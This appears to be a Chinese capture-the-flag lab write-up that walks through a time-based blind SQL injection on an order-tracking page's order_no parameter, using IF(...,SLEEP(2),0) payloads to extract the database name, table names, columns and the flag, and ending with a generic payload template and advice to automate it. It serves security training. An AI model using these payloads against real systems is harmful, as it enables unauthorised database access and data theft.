白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)

SQL注入 - 延迟注入(无防护)靶场教程

题目信息

一、页面与接口分析

打开首页后,可以直接看到:

  • 页面功能:订单追踪
  • 输入框参数:orderNo
  • 前端实际请求接口:query.php?order_no=xxx
  • 示例订单号:
    • ORD20260301001
    • ORD20260302015
    • ORD20260303042

前端核心请求逻辑大致如下:

javascript 复制代码
fetch('query.php?order_no=' + encodeURIComponent(no))

说明后端会接收 GET 参数 order_no,这是我们的注入点。

二、先验证参数是否可控

先访问一个正常订单号:

text 复制代码
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001

可以正常返回订单 JSON 数据。

再测试单引号:

text 复制代码
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001'

返回查询失败,说明很可能存在单引号拼接 SQL 的情况。

三、确认是否为时间盲注

一开始如果使用 --+ 作为注释符,延迟并不稳定;继续测试后可以发现这里使用 # 作为注释符更有效。

1. 真条件延迟测试

sql 复制代码
ORD20260301001' AND IF(1=1,SLEEP(2),0)#

对应请求:

text 复制代码
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001'%20AND%20IF(1=1,SLEEP(2),0)%23

现象:响应时间明显约 2 秒。

2. 假条件对照测试

sql 复制代码
ORD20260301001' AND IF(1=2,SLEEP(2),0)#

现象:响应几乎立即返回。

这就说明:

  • 参数 order_no 存在 SQL 注入
  • 可以通过 IF(条件, SLEEP(n), 0) 做时间盲注
  • 注释符使用 #

四、判断数据库名

先确认当前数据库名长度,方法仍然选择使用二分法,最终确定数据库名长度为7,构造查询验证:

sql 复制代码
ORD20260301001' AND IF(LENGTH(DATABASE())=7,SLEEP(2),0)#

延迟成立,说明当前数据库名长度为 7

然后逐位猜解字符,例如第一位:

sql 复制代码
ORD20260301001' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=118,SLEEP(2),0)#

因为 ASCII 118 对应字符 v,延迟成立。

按同样方法继续枚举,最终得到数据库名:

text 复制代码
vuln_db

五、枚举当前数据库中的表名

先猜表数量:

sql 复制代码
ORD20260301001' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=2,SLEEP(2),0)#

延迟成立,说明当前库中有 2 张表。

然后逐个枚举表名。

第 1 张表

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=6,SLEEP(2),0)#

再逐位猜解,得到:

text 复制代码
orders

第 2 张表

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))=12,SLEEP(2),0)#

逐位枚举后得到:

text 复制代码
secret_flags

显然 secret_flags 很可疑,下一步直接枚举它的字段。

六、枚举 secret_flags 表字段

先判断字段数量:

sql 复制代码
ORD20260301001' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_flags')=3,SLEEP(2),0)#

延迟成立,说明共有 3 个字段。

继续逐个枚举字段名,最终得到:

text 复制代码
id
flag_name
flag_value

七、提取 flag

先确认表中记录数:

sql 复制代码
ORD20260301001' AND IF((SELECT COUNT(*) FROM secret_flags)=1,SLEEP(2),0)#

说明只有 1 条记录。

1. 枚举 flag_name

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT flag_name FROM secret_flags LIMIT 0,1))=4,SLEEP(2),0)#

逐位枚举后得到:

text 复制代码
flag

2. 枚举 flag_value

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT flag_value FROM secret_flags LIMIT 0,1))=22,SLEEP(2),0)#

然后逐位猜解:

sql 复制代码
ORD20260301001' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),1,1))=102,SLEEP(2),0)#
sql 复制代码
ORD20260301001' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),2,1))=108,SLEEP(2),0)#

按这种方式一直枚举到第 22 位,最终得到:

text 复制代码
flag{t1m3_bl1nd_sl33p}

八、最终答案

text 复制代码
flag{t1m3_bl1nd_sl33p}

九、时间盲注核心思路总结

这道题的关键点有 3 个:

  1. 先确认闭合方式

    • 这里可以用单引号 ' 闭合原始 SQL。
  2. 找到可用注释符

    • --+ 在这里不稳定,# 可以正常注释后续语句。
  3. 通过真假条件对比响应时间

    • 真:IF(condition,SLEEP(2),0) 会明显延迟
    • 假:不会延迟
    • 利用这一点可以逐位枚举数据库名、表名、字段名和 flag。

十、通用时间盲注模板

判断长度

sql 复制代码
' AND IF(LENGTH((SELECT database()))=7,SLEEP(2),0)#

爆破单个字符

sql 复制代码
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=118,SLEEP(2),0)#

枚举表名

sql 复制代码
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=111,SLEEP(2),0)#

枚举字段内容

sql 复制代码
' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),1,1))=102,SLEEP(2),0)#

十一、补充说明

如果手工测试太慢,可以写脚本自动化:

  • 外层先猜长度
  • 内层再逐位枚举字符
  • 通过响应时间是否超过阈值判断条件真假

本题实战中最终枚举出的关键信息如下:

  • 数据库名:vuln_db
  • 表名:orderssecret_flags
  • 字段名:idflag_nameflag_value
  • flag:flag{t1m3_bl1nd_sl33p}
相关推荐
其实防守也摸鱼4 小时前
告别单个变量,用列表和字典批量管理你的 Python 数据
开发语言·网络·软件测试·python·web安全·数据结构,编程教程
路baby6 小时前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯
鹿鸣天涯8 小时前
网规第三版:第9章网络安全部署案例
网络·安全·web安全·软考·网络规划设计师
深邃-8 小时前
【Web安全】-10-网站关键信息收集:目录扫描的概念,工具目录扫描(内含御剑,FindSomething安装链接),网站服务器收集,操作系统判断
运维·服务器·安全·web安全·http·网络安全
Bruce_Liuxiaowei19 小时前
2026年5月第5周网络安全形势周报
人工智能·安全·web安全·ai·智能体
不灭锦鲤1 天前
网络安全第113天
安全·web安全
Dest1ny-安全1 天前
2026最新CTF知识库:12大Web漏洞深度文章+1156篇历年大赛WP+50+脚本+Payload速查 +AI/RAG离线在线知识库
java·学习·安全·web安全·servlet
顾凌陵1 天前
文件上传漏洞进阶实战
安全·web安全
宋浮檀s1 天前
应急响应——Web高危漏洞应急(SQL注入+XSS跨站+文件上传)
前端·网络·安全·web安全·xss
信息安全失业大专人员2 天前
HTTP/HTTPS 协议精髓与 WAF(Web 应用防火墙)架构防线大底座
web安全·http·信息安全·https·企业信息安全